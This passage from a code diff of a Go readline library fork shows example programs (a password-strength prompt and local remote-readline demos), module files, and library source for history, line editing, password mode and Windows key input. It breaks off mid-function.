if err != nil {
break
}
line = strings.TrimSpace(line)
if len(line) == 0 {
continue
}
cmds = append(cmds, line)
if !strings.HasSuffix(line, ";") {
rl.SetPrompt(">>> ")
continue
}
cmd := strings.Join(cmds, " ")
cmds = cmds[:0]
rl.SetPrompt("> ")
rl.SaveHistory(cmd)
println(cmd)
}
}
@@ -0,0 +1,102 @@
// This is a small example using readline to read a password
// and check it's strength while typing using the zxcvbn library.
// Depending on the strength the prompt is colored nicely to indicate strength.
//
// This file is licensed under the WTFPL:
//
// DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
// Version 2, December 2004
//
// Copyright (C) 2004 Sam Hocevar <[email protected]>
//
// Everyone is permitted to copy and distribute verbatim or modified
// copies of this license document, and changing it is allowed as long
// as the name is changed.
//
// DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
// TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
//
// 0. You just DO WHAT THE FUCK YOU WANT TO.
package main
import (
"fmt"
"github.com/chzyer/readline"
zxcvbn "github.com/nbutton23/zxcvbn-go"
)
const (
Cyan = 36
Green = 32
Magenta = 35
Red = 31
Yellow = 33
BackgroundRed = 41
)
// Reset sequence
var ColorResetEscape = "\033[0m"
// ColorResetEscape translates a ANSI color number to a color escape.
func ColorEscape(color int) string {
return fmt.Sprintf("\033[0;%dm", color)
}
// Colorize the msg using ANSI color escapes
func Colorize(msg string, color int) string {
return ColorEscape(color) + msg + ColorResetEscape
}
func createStrengthPrompt(password []rune) string {
symbol, color := "", Red
strength := zxcvbn.PasswordStrength(string(password), nil)
switch {
case strength.Score <= 1:
symbol = "✗"
color = Red
case strength.Score <= 2:
symbol = "⚡"
color = Magenta
case strength.Score <= 3:
symbol = "⚠"
color = Yellow
case strength.Score <= 4:
symbol = "✔"
color = Green
}
prompt := Colorize(symbol, color)
if strength.Entropy > 0 {
entropy := fmt.Sprintf(" %3.0f", strength.Entropy)
prompt += Colorize(entropy, Cyan)
} else {
prompt += Colorize(" ENT", Cyan)
}
prompt += Colorize(" New Password: ", color)
return prompt
}
func main() {
rl, err := readline.New("")
if err != nil {
return
}
defer rl.Close()
setPasswordCfg := rl.GenPasswordConfig()
setPasswordCfg.SetListener(func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool) {
rl.SetPrompt(createStrengthPrompt(line))
rl.Refresh()
return nil, 0, false
})
pswd, err := rl.ReadPasswordWithConfig(setPasswordCfg)
if err != nil {
return
}
fmt.Println("Your password was:", string(pswd))
}
@@ -0,0 +1,9 @@
package main
import "github.com/chzyer/readline"
func main() {
if err := readline.DialRemote("tcp", ":12344"); err != nil {
println(err.Error())
}
}
@@ -0,0 +1,26 @@
package main
import (
"fmt"
"github.com/chzyer/readline"
)
func main() {
cfg := &readline.Config{
Prompt: "readline-remote: ",
}
handleFunc := func(rl *readline.Instance) {
for {
line, err := rl.Readline()
if err != nil {
break
}
fmt.Fprintln(rl.Stdout(), "receive:"+line)
}
}
err := readline.ListenRemote("tcp", ":12344", cfg, handleFunc)
if err != nil {
println(err.Error())
}
}
+9
View File
@@ -0,0 +1,9 @@
module github.com/abiosoft/readline
go 1.15
require (
github.com/chzyer/test v1.0.0
github.com/nbutton23/zxcvbn-go v0.0.0-20210217022336-fa2cb2858354
golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5
)
+14
View File
@@ -0,0 +1,14 @@
github.com/chzyer/logex v1.2.1 h1:XHDu3E6q+gdHgsdTPH6ImJMIp436vR6MPtH8gP05QzM=
github.com/chzyer/logex v1.2.1/go.mod h1:JLbx6lG2kDbNRFnfkgvh4eRJRPX1QCoOIWomwysCBrQ=
github.com/chzyer/test v1.0.0 h1:p3BQDXSxOhOG0P9z6/hGnII4LGiEPOYBhs8asl/fC04=
github.com/chzyer/test v1.0.0/go.mod h1:2JlltgoNkt4TW/z9V/IzDdFaMTM2JPIi26O1pF38GC8=
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/nbutton23/zxcvbn-go v0.0.0-20210217022336-fa2cb2858354 h1:4kuARK6Y6FxaNu/BnU2OAaLF86eTVhP2hjTB6iMvItA=
github.com/nbutton23/zxcvbn-go v0.0.0-20210217022336-fa2cb2858354/go.mod h1:KSVJerMDfblTH7p5MZaTt+8zaT2iEk3AkVb9PQdZuE8=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/testify v1.1.4 h1:ToftOQTytwshuOSj6bDSolVUa3GINfJP/fg3OkkOzQQ=
github.com/stretchr/testify v1.1.4/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5 h1:y/woIyUBFbpQGKS0u1aHF/40WUDnek3fPOyD08H5Vng=
golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+332
View File
@@ -0,0 +1,332 @@
package readline
import (
"bufio"
"container/list"
"fmt"
"os"
"strings"
"sync"
)
type hisItem struct {
Source []rune
Version int64
Tmp []rune
}
func (h *hisItem) Clean() {
h.Source = nil
h.Tmp = nil
}
type opHistory struct {
cfg *Config
history *list.List
historyVer int64
current *list.Element
fd *os.File
fdLock sync.Mutex
enable bool
}
func newOpHistory(cfg *Config) (o *opHistory) {
o = &opHistory{
cfg: cfg,
history: list.New(),
enable: true,
}
return o
}
func (o *opHistory) Reset() {
o.history = list.New()
o.current = nil
}
func (o *opHistory) IsHistoryClosed() bool {
o.fdLock.Lock()
defer o.fdLock.Unlock()
return o.fd.Fd() == ^(uintptr(0))
}
func (o *opHistory) Init() {
if o.IsHistoryClosed() {
o.initHistory()
}
}
func (o *opHistory) initHistory() {
if o.cfg.HistoryFile != "" {
o.historyUpdatePath(o.cfg.HistoryFile)
}
}
// only called by newOpHistory
func (o *opHistory) historyUpdatePath(path string) {
o.fdLock.Lock()
defer o.fdLock.Unlock()
f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_RDWR, 0666)
if err != nil {
return
}
o.fd = f
r := bufio.NewReader(o.fd)
total := 0
for ; ; total++ {
line, err := r.ReadString('\n')
if err != nil {
break
}
// ignore the empty line
line = strings.TrimSpace(line)
if len(line) == 0 {
continue
}
o.Push([]rune(line))
o.Compact()
}
if total > o.cfg.HistoryLimit {
o.rewriteLocked()
}
o.historyVer++
o.Push(nil)
return
}
func (o *opHistory) Compact() {
for o.history.Len() > o.cfg.HistoryLimit && o.history.Len() > 0 {
o.history.Remove(o.history.Front())
}
}
func (o *opHistory) Rewrite() {
o.fdLock.Lock()
defer o.fdLock.Unlock()
o.rewriteLocked()
}
func (o *opHistory) rewriteLocked() {
if o.cfg.HistoryFile == "" {
return
}
tmpFile := o.cfg.HistoryFile + ".tmp"
fd, err := os.OpenFile(tmpFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC|os.O_APPEND, 0666)
if err != nil {
return
}
buf := bufio.NewWriter(fd)
for elem := o.history.Front(); elem != nil; elem = elem.Next() {
buf.WriteString(string(elem.Value.(*hisItem).Source) + "\n")
}
buf.Flush()
// replace history file
if err = os.Rename(tmpFile, o.cfg.HistoryFile); err != nil {
fd.Close()
return
}
if o.fd != nil {
o.fd.Close()
}
// fd is write only, just satisfy what we need.
o.fd = fd
}
func (o *opHistory) Close() {
o.fdLock.Lock()
defer o.fdLock.Unlock()
if o.fd != nil {
o.fd.Close()
}
}
func (o *opHistory) FindBck(isNewSearch bool, rs []rune, start int) (int, *list.Element) {
for elem := o.current; elem != nil; elem = elem.Prev() {
item := o.showItem(elem.Value)
if isNewSearch {
start += len(rs)
}
if elem == o.current {
if len(item) >= start {
item = item[:start]
}
}
idx := runes.IndexAllBckEx(item, rs, o.cfg.HistorySearchFold)
if idx < 0 {
continue
}
return idx, elem
}
return -1, nil
}
func (o *opHistory) FindFwd(isNewSearch bool, rs []rune, start int) (int, *list.Element) {
for elem := o.current; elem != nil; elem = elem.Next() {
item := o.showItem(elem.Value)
if isNewSearch {
start -= len(rs)
if start < 0 {
start = 0
}
}
if elem == o.current {
if len(item)-1 >= start {
item = item[start:]
} else {
continue
}
}
idx := runes.IndexAllEx(item, rs, o.cfg.HistorySearchFold)
if idx < 0 {
continue
}
if elem == o.current {
idx += start
}
return idx, elem
}
return -1, nil
}
func (o *opHistory) showItem(obj interface{}) []rune {
item := obj.(*hisItem)
if item.Version == o.historyVer {
return item.Tmp
}
return item.Source
}
func (o *opHistory) Prev() []rune {
if o.current == nil {
return nil
}
current := o.current.Prev()
if current == nil {
return nil
}
o.current = current
return runes.Copy(o.showItem(current.Value))
}
func (o *opHistory) Next() ([]rune, bool) {
if o.current == nil {
return nil, false
}
current := o.current.Next()
if current == nil {
return nil, false
}
o.current = current
return runes.Copy(o.showItem(current.Value)), true
}
// Disable the current history
func (o *opHistory) Disable() {
o.enable = false
}
// Enable the current history
func (o *opHistory) Enable() {
o.enable = true
}
func (o *opHistory) debug() {
Debug("-------")
for item := o.history.Front(); item != nil; item = item.Next() {
Debug(fmt.Sprintf("%+v", item.Value))
}
}
// save history
func (o *opHistory) New(current []rune) (err error) {
// history deactivated
if !o.enable {
return nil
}
current = runes.Copy(current)
// if just use last command without modify
// just clean lastest history
if back := o.history.Back(); back != nil {
prev := back.Prev()
if prev != nil {
if runes.Equal(current, prev.Value.(*hisItem).Source) {
o.current = o.history.Back()
o.current.Value.(*hisItem).Clean()
o.historyVer++
return nil
}
}
}
if len(current) == 0 {
o.current = o.history.Back()
if o.current != nil {
o.current.Value.(*hisItem).Clean()
o.historyVer++
return nil
}
}
if o.current != o.history.Back() {
// move history item to current command
currentItem := o.current.Value.(*hisItem)
// set current to last item
o.current = o.history.Back()
current = runes.Copy(currentItem.Tmp)
}
// err only can be a IO error, just report
err = o.Update(current, true)
// push a new one to commit current command
o.historyVer++
o.Push(nil)
return
}
func (o *opHistory) Revert() {
o.historyVer++
o.current = o.history.Back()
}
func (o *opHistory) Update(s []rune, commit bool) (err error) {
o.fdLock.Lock()
defer o.fdLock.Unlock()
s = runes.Copy(s)
if o.current == nil {
o.Push(s)
o.Compact()
return
}
r := o.current.Value.(*hisItem)
r.Version = o.historyVer
if commit {
r.Source = s
if o.fd != nil {
// just report the error
_, err = o.fd.Write([]byte(string(r.Source) + "\n"))
}
} else {
r.Tmp = append(r.Tmp[:0], s...)
}
o.current.Value = r
o.Compact()
return
}
func (o *opHistory) Push(s []rune) {
s = runes.Copy(s)
elem := o.history.PushBack(&hisItem{Source: s})
o.current = elem
}
+595
View File
@@ -0,0 +1,595 @@
package readline
import (
"bytes"
"errors"
"fmt"
"io"
"sync"
)
var (
ErrInterrupt = errors.New("Interrupt")
)
type InterruptError struct {
Line []rune
}
func (*InterruptError) Error() string {
return "Interrupted"
}
type Operation struct {
m sync.Mutex
cfg *Config
t *Terminal
buf *RuneBuffer
outchan chan []rune
errchan chan error
w io.Writer
history *opHistory
*opSearch
*opCompleter
*opPassword
*opVim
}
func (o *Operation) SetBuffer(what string) {
o.buf.Set([]rune(what))
}
type wrapWriter struct {
r *Operation
t *Terminal
target io.Writer
}
func (w *wrapWriter) Write(b []byte) (int, error) {
if !w.t.IsReading() {
return w.target.Write(b)
}
var (
n int
err error
)
w.r.buf.Refresh(func() {
n, err = w.target.Write(b)
})
if w.r.IsSearchMode() {
w.r.SearchRefresh(-1)
}
if w.r.IsInCompleteMode() {
w.r.CompleteRefresh()
}
return n, err
}
func NewOperation(t *Terminal, cfg *Config) *Operation {
width := cfg.FuncGetWidth()
op := &Operation{
t: t,
buf: NewRuneBuffer(t, cfg.Prompt, cfg, width),
outchan: make(chan []rune),
errchan: make(chan error, 1),
}
op.w = op.buf.w
op.SetConfig(cfg)
op.opVim = newVimMode(op)
op.opCompleter = newOpCompleter(op.buf.w, op, width)
op.opPassword = newOpPassword(op)
op.cfg.FuncOnWidthChanged(func() {
newWidth := cfg.FuncGetWidth()
op.opCompleter.OnWidthChange(newWidth)
op.opSearch.OnWidthChange(newWidth)
op.buf.OnWidthChange(newWidth)
})
go op.ioloop()
return op
}
func (o *Operation) SetPrompt(s string) {
o.buf.SetPrompt(s)
}
func (o *Operation) SetMaskRune(r rune) {
o.buf.SetMask(r)
}
func (o *Operation) GetConfig() *Config {
o.m.Lock()
cfg := *o.cfg
o.m.Unlock()
return &cfg
}
func (o *Operation) ioloop() {
for {
keepInSearchMode := false
keepInCompleteMode := false
r := o.t.ReadRune()
if o.GetConfig().FuncFilterInputRune != nil {
var process bool
r, process = o.GetConfig().FuncFilterInputRune(r)
if !process {
o.t.KickRead()
o.buf.Refresh(nil) // to refresh the line
continue // ignore this rune
}
}
if r == 0 { // io.EOF
if o.buf.Len() == 0 {
o.buf.Clean()
select {
case o.errchan <- io.EOF:
}
break
} else {
// if stdin got io.EOF and there is something left in buffer,
// let's flush them by sending CharEnter.
// And we will got io.EOF int next loop.
r = CharEnter
}
}
isUpdateHistory := true
if o.IsInCompleteSelectMode() {
keepInCompleteMode = o.HandleCompleteSelect(r)
if keepInCompleteMode {
continue
}
o.buf.Refresh(nil)
switch r {
case CharEnter, CharCtrlJ:
o.history.Update(o.buf.Runes(), false)
fallthrough
case CharInterrupt:
o.t.KickRead()
fallthrough
case CharBell:
continue
}
}
if o.IsEnableVimMode() {
r = o.HandleVim(r, o.t.ReadRune)
if r == 0 {
continue
}
}
switch r {
case CharBell:
if o.IsSearchMode() {
o.ExitSearchMode(true)
o.buf.Refresh(nil)
}
if o.IsInCompleteMode() {
o.ExitCompleteMode(true)
o.buf.Refresh(nil)
}
case CharTab:
if o.GetConfig().AutoComplete == nil {
o.t.Bell()
break
}
if o.OnComplete() {
keepInCompleteMode = true
} else {
o.t.Bell()
break
}
case CharBckSearch:
if !o.SearchMode(S_DIR_BCK) {
o.t.Bell()
break
}
keepInSearchMode = true
case CharCtrlU:
o.buf.KillFront()
case CharFwdSearch:
if !o.SearchMode(S_DIR_FWD) {
o.t.Bell()
break
}
keepInSearchMode = true
case CharKill:
o.buf.Kill()
keepInCompleteMode = true
case MetaForward:
o.buf.MoveToNextWord()
case CharTranspose:
o.buf.Transpose()
case MetaBackward:
o.buf.MoveToPrevWord()
case MetaDelete:
o.buf.DeleteWord()
case CharLineStart:
o.buf.MoveToLineStart()
case CharLineEnd:
o.buf.MoveToLineEnd()
case CharBackspace, CharCtrlH:
if o.IsSearchMode() {
o.SearchBackspace()
keepInSearchMode = true
break
}
if o.buf.Len() == 0 {
o.t.Bell()
break
}
o.buf.Backspace()
if o.IsInCompleteMode() {
o.OnComplete()
}
case CharCtrlZ:
o.buf.Clean()
o.t.SleepToResume()
o.Refresh()
case CharCtrlL:
ClearScreen(o.w)
o.Refresh()
case MetaBackspace, CharCtrlW:
o.buf.BackEscapeWord()
case CharCtrlY:
o.buf.Yank()
case CharEnter, CharCtrlJ:
if o.IsSearchMode() {
o.ExitSearchMode(false)
}
o.buf.MoveToLineEnd()
var data []rune
if !o.GetConfig().UniqueEditLine {
if o.buf.cfg.ForcePrint {
o.buf.Refresh(func() {
fmt.Print(string(bytes.Repeat([]byte{8}, o.buf.idx)))
})
data = o.buf.Reset()
data = data[:len(data)]
} else {
o.buf.WriteRune('\n')
data = o.buf.Reset()
data = data[:len(data)-1] // trim \n
}
} else {
o.buf.Clean()
data = o.buf.Reset()
}
o.outchan <- data
if !o.GetConfig().DisableAutoSaveHistory {
// ignore IO error
_ = o.history.New(data)
} else {
isUpdateHistory = false
}
case CharBackward:
o.buf.MoveBackward()
case CharForward:
o.buf.MoveForward()
case CharPrev:
if o.buf.cfg.ForcePrint {
continue
}
buf := o.history.Prev()
if buf != nil {
o.buf.Set(buf)
} else {
o.t.Bell()
}
case CharNext:
if o.buf.cfg.ForcePrint {
continue
}
buf, ok := o.history.Next()
if ok {
o.buf.Set(buf)
} else {
o.t.Bell()
}
case CharDelete:
if o.buf.Len() > 0 || !o.IsNormalMode() {
o.t.KickRead()
if !o.buf.Delete() {
o.t.Bell()
}
break
}
// treat as EOF
if !o.GetConfig().UniqueEditLine {
o.buf.WriteString(o.GetConfig().EOFPrompt + "\n")
}
o.buf.Reset()
isUpdateHistory = false
o.history.Revert()
o.errchan <- io.EOF
if o.GetConfig().UniqueEditLine {
o.buf.Clean()
}
case CharInterrupt:
if o.IsSearchMode() {
o.t.KickRead()
o.ExitSearchMode(true)
break
}
if o.IsInCompleteMode() {
o.t.KickRead()
o.ExitCompleteMode(true)
o.buf.Refresh(nil)
break
}
o.buf.MoveToLineEnd()
o.buf.Refresh(nil)
hint := o.GetConfig().InterruptPrompt + "\n"
if !o.GetConfig().UniqueEditLine {
o.buf.WriteString(hint)
}
remain := o.buf.Reset()
if !o.GetConfig().UniqueEditLine {
remain = remain[:len(remain)-len([]rune(hint))]
}
isUpdateHistory = false
o.history.Revert()
o.errchan <- &InterruptError{remain}
default:
if o.IsSearchMode() {
o.SearchChar(r)
keepInSearchMode = true
break
}
o.buf.WriteRune(r)
if o.IsInCompleteMode() {
o.OnComplete()
keepInCompleteMode = true
}
}
listener := o.GetConfig().Listener
if listener != nil {
newLine, newPos, ok := listener.OnChange(o.buf.Runes(), o.buf.Pos(), r)
if ok {
o.buf.SetWithIdx(newPos, newLine)
}
}
o.m.Lock()
if !keepInSearchMode && o.IsSearchMode() {
o.ExitSearchMode(false)
o.buf.Refresh(nil)
} else if o.IsInCompleteMode() {
if !keepInCompleteMode {
o.ExitCompleteMode(false)
o.Refresh()
} else {
o.buf.Refresh(nil)
o.CompleteRefresh()
}
}
if isUpdateHistory && !o.IsSearchMode() {
// it will cause null history
o.history.Update(o.buf.Runes(), false)
}
o.m.Unlock()
}
}
func (o *Operation) Stderr() io.Writer {
return &wrapWriter{target: o.GetConfig().Stderr, r: o, t: o.t}
}
func (o *Operation) Stdout() io.Writer {
return &wrapWriter{target: o.GetConfig().Stdout, r: o, t: o.t}
}
func (o *Operation) String() (string, error) {
r, err := o.Runes()
return string(r), err
}
func (o *Operation) StringEx() (string, error) {
r, err := func() ([]rune, error) {
o.t.EnterRawMode()
defer o.t.ExitRawMode()
listener := o.GetConfig().Listener
if listener != nil {
listener.OnChange(nil, 0, 0)
}
func() {
o.buf.Lock()
defer o.buf.Unlock()
o.buf.print()
}()
o.t.KickRead()
select {
case r := <-o.outchan:
return r, nil
case err := <-o.errchan:
if e, ok := err.(*InterruptError); ok {
return e.Line, ErrInterrupt
}
return nil, err
}
}()
return string(r), err
}
func (o *Operation) Runes() ([]rune, error) {
o.t.EnterRawMode()
defer o.t.ExitRawMode()
listener := o.GetConfig().Listener
if listener != nil {
listener.OnChange(nil, 0, 0)
}
o.buf.Refresh(nil) // print prompt
o.t.KickRead()
select {
case r := <-o.outchan:
return r, nil
case err := <-o.errchan:
if e, ok := err.(*InterruptError); ok {
return e.Line, ErrInterrupt
}
return nil, err
}
}
func (o *Operation) PasswordEx(prompt string, l Listener) ([]byte, error) {
cfg := o.GenPasswordConfig()
cfg.Prompt = prompt
cfg.Listener = l
return o.PasswordWithConfig(cfg)
}
func (o *Operation) GenPasswordConfig() *Config {
return o.opPassword.PasswordConfig()
}
func (o *Operation) PasswordWithConfig(cfg *Config) ([]byte, error) {
if err := o.opPassword.EnterPasswordMode(cfg); err != nil {
return nil, err
}
defer o.opPassword.ExitPasswordMode()
return o.Slice()
}
func (o *Operation) Password(prompt string) ([]byte, error) {
return o.PasswordEx(prompt, nil)
}
func (o *Operation) SetTitle(t string) {
o.w.Write([]byte("\033[2;" + t + "\007"))
}
func (o *Operation) Slice() ([]byte, error) {
r, err := o.Runes()
if err != nil {
return nil, err
}
return []byte(string(r)), nil
}
func (o *Operation) Close() {
select {
case o.errchan <- io.EOF:
default:
}
o.history.Close()
}
func (o *Operation) SetHistoryPath(path string) {
if o.history != nil {
o.history.Close()
}
o.cfg.HistoryFile = path
o.history = newOpHistory(o.cfg)
}
func (o *Operation) IsNormalMode() bool {
return !o.IsInCompleteMode() && !o.IsSearchMode()
}
func (op *Operation) SetConfig(cfg *Config) (*Config, error) {
op.m.Lock()
defer op.m.Unlock()
if op.cfg == cfg {
return op.cfg, nil
}
if err := cfg.Init(); err != nil {
return op.cfg, err
}
old := op.cfg
op.cfg = cfg
op.SetPrompt(cfg.Prompt)
op.SetMaskRune(cfg.MaskRune)
op.buf.SetConfig(cfg)
width := op.cfg.FuncGetWidth()
if cfg.opHistory == nil {
op.SetHistoryPath(cfg.HistoryFile)
cfg.opHistory = op.history
cfg.opSearch = newOpSearch(op.buf.w, op.buf, op.history, cfg, width)
}
op.history = cfg.opHistory
// SetHistoryPath will close opHistory which already exists
// so if we use it next time, we need to reopen it by `InitHistory()`
op.history.Init()
if op.cfg.AutoComplete != nil {
op.opCompleter = newOpCompleter(op.buf.w, op, width)
}
op.opSearch = cfg.opSearch
return old, nil
}
func (o *Operation) ResetHistory() {
o.history.Reset()
}
// if err is not nil, it just mean it fail to write to file
// other things goes fine.
func (o *Operation) SaveHistory(content string) error {
return o.history.New([]rune(content))
}
func (o *Operation) Refresh() {
if o.t.IsReading() {
o.buf.Refresh(nil)
}
}
func (o *Operation) Clean() {
o.buf.Clean()
}
func FuncListener(f func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool)) Listener {
return &DumpListener{f: f}
}
type DumpListener struct {
f func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool)
}
func (d *DumpListener) OnChange(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool) {
return d.f(line, pos, key)
}
type Listener interface {
OnChange(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool)
}
type Painter interface {
Paint(line []rune, pos int) []rune
}
type defaultPainter struct{}
func (p *defaultPainter) Paint(line []rune, _ int) []rune {
return line
}
+33
View File
@@ -0,0 +1,33 @@
package readline
type opPassword struct {
o *Operation
backupCfg *Config
}
func newOpPassword(o *Operation) *opPassword {
return &opPassword{o: o}
}
func (o *opPassword) ExitPasswordMode() {
o.o.SetConfig(o.backupCfg)
o.backupCfg = nil
}
func (o *opPassword) EnterPasswordMode(cfg *Config) (err error) {
o.backupCfg, err = o.o.SetConfig(cfg)
return
}
func (o *opPassword) PasswordConfig() *Config {
return &Config{
EnableMask: true,
InterruptPrompt: "\n",
EOFPrompt: "\n",
HistoryLimit: -1,
Painter: &defaultPainter{},
Stdout: o.o.cfg.Stdout,
Stderr: o.o.cfg.Stderr,
}
}
+125
View File
@@ -0,0 +1,125 @@
// +build windows
package readline
import "unsafe"
const (
VK_CANCEL = 0x03
VK_BACK = 0x08
VK_TAB = 0x09
VK_RETURN = 0x0D
VK_SHIFT = 0x10
VK_CONTROL = 0x11
VK_MENU = 0x12
VK_ESCAPE = 0x1B
VK_LEFT = 0x25
VK_UP = 0x26
VK_RIGHT = 0x27
VK_DOWN = 0x28
VK_DELETE = 0x2E
VK_LSHIFT = 0xA0
VK_RSHIFT = 0xA1
VK_LCONTROL = 0xA2
VK_RCONTROL = 0xA3
)
// RawReader translate input record to ANSI escape sequence.
// To provides same behavior as unix terminal.
type RawReader struct {
ctrlKey bool
altKey bool
}
func NewRawReader() *RawReader {
r := new(RawReader)
return r
}
// only process one action in one read
func (r *RawReader) Read(buf []byte) (int, error) {
ir := new(_INPUT_RECORD)
var read int
var err error
next:
err = kernel.ReadConsoleInputW(stdin,
uintptr(unsafe.Pointer(ir)),
1,
uintptr(unsafe.Pointer(&read)),
)
if err != nil {
return 0, err
}
if ir.EventType != EVENT_KEY {
goto next
}
ker := (*_KEY_EVENT_RECORD)(unsafe.Pointer(&ir.Event[0]))
if ker.bKeyDown == 0 { // keyup
if r.ctrlKey || r.altKey {
switch ker.wVirtualKeyCode {
case VK_RCONTROL, VK_LCONTROL:
r.ctrlKey = false
case VK_MENU: //alt
r.altKey = false
}
}
goto next
}
if ker.unicodeChar == 0 {
var target rune
switch ker.wVirtualKeyCode {
case VK_RCONTROL, VK_LCONTROL:
r.ctrlKey = true
case VK_MENU: //alt
r.altKey = true
case VK_LEFT:
target = CharBackward
case VK_RIGHT:
target = CharForward
case VK_UP:
target = CharPrev
case VK_DOWN:
target = CharNext
}
if target != 0 {
return r.write(buf, target)
}
goto next
}
char := rune(ker.unicodeChar)
if r.ctrlKey {
switch char {
case 'A':
char = CharLineStart
case 'E':
char = CharLineEnd
case 'R':
char = CharBckSearch
case 'S':
char = CharFwdSearch
}
} else if r.altKey {
switch char {
case VK_BACK:
char = CharBackspace
}
return r.writeEsc(buf, char)
}
return r.write(buf, char)
}
func (r *RawReader) writeEsc(b []byte, char rune) (int, error) {
b[0] = '\033'
n := copy(b[1:], []byte(string(char)))
return n + 1, nil
}
func (r *RawReader) write(b []byte, char rune) (int, error) {
n := copy(b, []byte(string(char)))
return n, nil
}
func (r *RawReader) Close() error {
return nil
}
+338
View File
@@ -0,0 +1,338 @@
// Readline is a pure go implementation for GNU-Readline kind library.
//
// example:
// rl, err := readline.New("> ")
// if err != nil {
// panic(err)
// }
// defer rl.Close()
//
// for {
// line, err := rl.Readline()
// if err != nil { // io.EOF
// break
// }
// println(line)
// }
//
package readline
import "io"
type Instance struct {
Config *Config
Terminal *Terminal
Operation *Operation
}
type Config struct {
// prompt supports ANSI escape sequence, so we can color some characters even in windows
Prompt string
// readline will persist historys to file where HistoryFile specified
HistoryFile string
// specify the max length of historys, it's 500 by default, set it to -1 to disable history
HistoryLimit int
DisableAutoSaveHistory bool
// enable case-insensitive history searching
HistorySearchFold bool
// AutoCompleter will called once user press TAB
AutoComplete AutoCompleter
// Any key press will pass to Listener
// NOTE: Listener will be triggered by (nil, 0, 0) immediately
Listener Listener
Painter Painter
// If VimMode is true, readline will in vim.insert mode by default
VimMode bool
InterruptPrompt string
EOFPrompt string
FuncGetWidth func() int
Stdin io.ReadCloser
StdinWriter io.Writer
Stdout io.Writer
Stderr io.Writer
EnableMask bool
MaskRune rune
// erase the editing line after user submited it
// it use in IM usually.
UniqueEditLine bool
// filter input runes (may be used to disable CtrlZ or for translating some keys to different actions)
// -> output = new (translated) rune and true/false if continue with processing this one
FuncFilterInputRune func(rune) (rune, bool)
// force use interactive even stdout is not a tty
FuncIsTerminal func() bool
FuncMakeRaw func() error
FuncExitRaw func() error
FuncOnWidthChanged func(func())
ForceUseInteractive bool
ForcePrint bool
// private fields
inited bool
opHistory *opHistory
opSearch *opSearch
}
func (c *Config) useInteractive() bool {
if c.ForceUseInteractive {
return true
}
return c.FuncIsTerminal()
}
func (c *Config) Init() error {
if c.inited {
return nil
}
c.inited = true
if c.Stdin == nil {
c.Stdin = NewCancelableStdin(Stdin)
}
c.Stdin, c.StdinWriter = NewFillableStdin(c.Stdin)
if c.Stdout == nil {
c.Stdout = Stdout
}
if c.Stderr == nil {
c.Stderr = Stderr
}
if c.HistoryLimit == 0 {
c.HistoryLimit = 500
}
if c.InterruptPrompt == "" {
c.InterruptPrompt = "^C"
} else if c.InterruptPrompt == "\n" {
c.InterruptPrompt = ""
}
if c.EOFPrompt == "" {
c.EOFPrompt = "^D"
} else if c.EOFPrompt == "\n" {
c.EOFPrompt = ""
}
if c.AutoComplete == nil {
c.AutoComplete = &TabCompleter{}
}
if c.FuncGetWidth == nil {
c.FuncGetWidth = GetScreenWidth
}
if c.FuncIsTerminal == nil {
c.FuncIsTerminal = DefaultIsTerminal
}
rm := new(RawMode)
if c.FuncMakeRaw == nil {
c.FuncMakeRaw = rm.Enter
}
if c.FuncExitRaw == nil {
c.FuncExitRaw = rm.Exit
}
if c.FuncOnWidthChanged == nil {
c.FuncOnWidthChanged = DefaultOnWidthChanged
}
return nil
}
func (c Config) Clone() *Config {
c.opHistory = nil
c.opSearch = nil
return &c
}
func (c *Config) SetListener(f func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool)) {
c.Listener = FuncListener(f)
}
func (c *Config) SetPainter(p Painter) {
c.Painter = p
}
func NewEx(cfg *Config) (*Instance, error) {
t, err := NewTerminal(cfg)
if err != nil {
return nil, err
}
rl := t.Readline()
if cfg.Painter == nil {
cfg.Painter = &defaultPainter{}
}
return &Instance{
Config: cfg,
Terminal: t,
Operation: rl,
}, nil
}
func New(prompt string) (*Instance, error) {
return NewEx(&Config{Prompt: prompt})
}
func (i *Instance) ResetHistory() {
i.Operation.ResetHistory()
}
func (i *Instance) SetPrompt(s string) {
i.Operation.SetPrompt(s)
}
func (i *Instance) SetMaskRune(r rune) {
i.Operation.SetMaskRune(r)
}
// change history persistence in runtime
func (i *Instance) SetHistoryPath(p string) {
i.Operation.SetHistoryPath(p)
}
// readline will refresh automatic when write through Stdout()
func (i *Instance) Stdout() io.Writer {
return i.Operation.Stdout()
}
// readline will refresh automatic when write through Stdout()
func (i *Instance) Stderr() io.Writer {
return i.Operation.Stderr()
}
// switch VimMode in runtime
func (i *Instance) SetVimMode(on bool) {
i.Operation.SetVimMode(on)
}
func (i *Instance) IsVimMode() bool {
return i.Operation.IsEnableVimMode()
}
func (i *Instance) GenPasswordConfig() *Config {
return i.Operation.GenPasswordConfig()
}
// we can generate a config by `i.GenPasswordConfig()`
func (i *Instance) ReadPasswordWithConfig(cfg *Config) ([]byte, error) {
return i.Operation.PasswordWithConfig(cfg)
}
func (i *Instance) ReadPasswordEx(prompt string, l Listener) ([]byte, error) {
return i.Operation.PasswordEx(prompt, l)
